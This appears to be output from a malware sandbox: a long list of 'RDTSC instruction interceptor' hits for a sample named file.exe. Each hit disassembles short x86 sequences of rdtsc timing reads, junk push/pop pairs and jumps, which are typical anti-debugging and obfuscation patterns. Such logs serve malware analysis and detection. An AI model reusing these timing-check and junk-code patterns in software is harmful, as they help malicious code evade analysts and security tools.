Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DE93D second address: 6DE951 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FF8A11EFED6h 0x0000000a popad 0x0000000b pushad 0x0000000c jo 00007FF8A11EFED6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DE951 second address: 6DE956 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DE956 second address: 6DE96C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FF8A11EFEDCh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DE96C second address: 6DE970 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DEACA second address: 6DEAD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DEAD0 second address: 6DEAEE instructions: 0x00000000 rdtsc 0x00000002 jo 00007FF8A0DA4806h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FF8A0DA480Ch 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DEAEE second address: 6DEB05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF8A11EFEE2h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DEB05 second address: 6DEB0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DEB0D second address: 6DEB39 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FF8A11EFED6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jng 00007FF8A11EFED6h 0x00000014 jmp 00007FF8A11EFEE8h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DEB39 second address: 6DEB3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68495A second address: 68495E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68495E second address: 68496D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A0DA480Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68496D second address: 684980 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jbe 00007FF8A11EFEE0h 0x0000000f push eax 0x00000010 push edx 0x00000011 push edi 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DF8AC second address: 6DF8B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DF8B0 second address: 6DF8D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jl 00007FF8A11EFED6h 0x0000000e jmp 00007FF8A11EFEE8h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DF8D6 second address: 6DF915 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FF8A0DA4819h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jns 00007FF8A0DA4806h 0x00000012 jmp 00007FF8A0DA4817h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DF915 second address: 6DF923 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jc 00007FF8A11EFED6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E39F8 second address: 6E3A0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF8A0DA480Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E3A0A second address: 6E3A10 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E2D6F second address: 6E2D75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E2E98 second address: 6E2E9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E2E9E second address: 6E2EDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FF8A0DA4806h 0x0000000a jmp 00007FF8A0DA480Eh 0x0000000f popad 0x00000010 jmp 00007FF8A0DA480Dh 0x00000015 pushad 0x00000016 jmp 00007FF8A0DA4814h 0x0000001b pushad 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E2EDD second address: 6E2EEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jnp 00007FF8A11EFED6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E3038 second address: 6E3075 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FF8A0DA4817h 0x0000000c jmp 00007FF8A0DA480Dh 0x00000011 jmp 00007FF8A0DA480Dh 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E3075 second address: 6E3079 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E35AA second address: 6E35B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FF8A0DA4806h 0x0000000a popad 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E8E5A second address: 6E8E65 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E936C second address: 6E9372 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E9606 second address: 6E9629 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11EFEDAh 0x00000007 jmp 00007FF8A11EFEE2h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E992C second address: 6E993A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF8A0DA480Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E993A second address: 6E9953 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11EFEDDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jns 00007FF8A11EFED6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E9953 second address: 6E9969 instructions: 0x00000000 rdtsc 0x00000002 js 00007FF8A0DA4806h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c js 00007FF8A0DA4814h 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E9969 second address: 6E996D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EA4AD second address: 6EA4DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 js 00007FF8A0DA480Ah 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f push edx 0x00000010 jmp 00007FF8A0DA480Ch 0x00000015 pop edx 0x00000016 popad 0x00000017 pushad 0x00000018 push eax 0x00000019 jnl 00007FF8A0DA4806h 0x0000001f pop eax 0x00000020 jbe 00007FF8A0DA480Eh 0x00000026 push esi 0x00000027 pop esi 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F3D85 second address: 6F3D9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FF8A11EFEE0h 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F2FF3 second address: 6F2FF7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F2FF7 second address: 6F2FFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F2FFD second address: 6F3020 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A0DA4813h 0x00000007 pushad 0x00000008 jmp 00007FF8A0DA480Bh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F360C second address: 6F3610 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F3610 second address: 6F3625 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A0DA480Fh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F3625 second address: 6F3646 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11EFEE2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jbe 00007FF8A11EFEEFh 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F3A9F second address: 6F3AA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FB941 second address: 6FB947 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F9FE8 second address: 6F9FEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F9FEC second address: 6F9FF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F9FF0 second address: 6F9FF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FA19C second address: 6FA1AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FF8A11EFED6h 0x0000000a popad 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FA4D0 second address: 6FA4E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF8A0DA4810h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FA4E4 second address: 6FA4F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FF8A11EFEDEh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FA4F8 second address: 6FA502 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FF8A0DA4806h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FA502 second address: 6FA506 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FA506 second address: 6FA50C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FA7F2 second address: 6FA805 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007FF8A11EFEDDh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 702F4C second address: 702F52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 702F52 second address: 702F62 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FF8A11EFED6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7169B0 second address: 7169BA instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FF8A0DA480Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 724670 second address: 72468C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FF8A11EFEE0h 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72B15D second address: 72B161 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72B161 second address: 72B165 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72B165 second address: 72B16B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72B44C second address: 72B452 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72B452 second address: 72B45F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jg 00007FF8A0DA480Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72B5A1 second address: 72B5A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72B70F second address: 72B719 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop esi 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72B719 second address: 72B71F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72BA02 second address: 72BA0E instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FF8A0DA4806h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72C549 second address: 72C54D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 730190 second address: 730196 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 730196 second address: 73019C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73019C second address: 7301A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72FE75 second address: 72FE81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007FF8A11EFED6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7326DC second address: 7326E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7326E7 second address: 7326EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7326EB second address: 7326F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7326F4 second address: 73271D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF8A11EFEDEh 0x00000009 jmp 00007FF8A11EFEDEh 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 je 00007FF8A11EFED6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 737B62 second address: 737B67 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 737B67 second address: 737B6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 737B6D second address: 737B8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 jnp 00007FF8A0DA480Eh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 737B8C second address: 737B90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 737B90 second address: 737BA8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A0DA4814h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63DB50 second address: 63DB54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 743144 second address: 743148 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 743148 second address: 743158 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a jg 00007FF8A11EFED6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 743158 second address: 74316C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jng 00007FF8A0DA4850h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 pop eax 0x00000012 push edx 0x00000013 pop edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74316C second address: 74318D instructions: 0x00000000 rdtsc 0x00000002 jne 00007FF8A11EFED6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FF8A11EFEE5h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 751E06 second address: 751E1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jns 00007FF8A0DA4808h 0x0000000b popad 0x0000000c jnp 00007FF8A0DA4822h 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 751E1D second address: 751E23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 751E23 second address: 751E29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 751CE3 second address: 751CE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 751CE7 second address: 751D0E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A0DA480Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FF8A0DA4812h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 754A36 second address: 754A3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 754618 second address: 754626 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop ecx 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75476D second address: 754771 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 769FFD second address: 76A012 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007FF8A0DA480Fh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76A012 second address: 76A018 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76A018 second address: 76A01C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76A01C second address: 76A02E instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FF8A11EFED6h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76A02E second address: 76A05A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FF8A0DA4813h 0x0000000c jmp 00007FF8A0DA4812h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63A490 second address: 63A494 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76AA08 second address: 76AA2B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FF8A0DA4818h 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76AA2B second address: 76AA31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
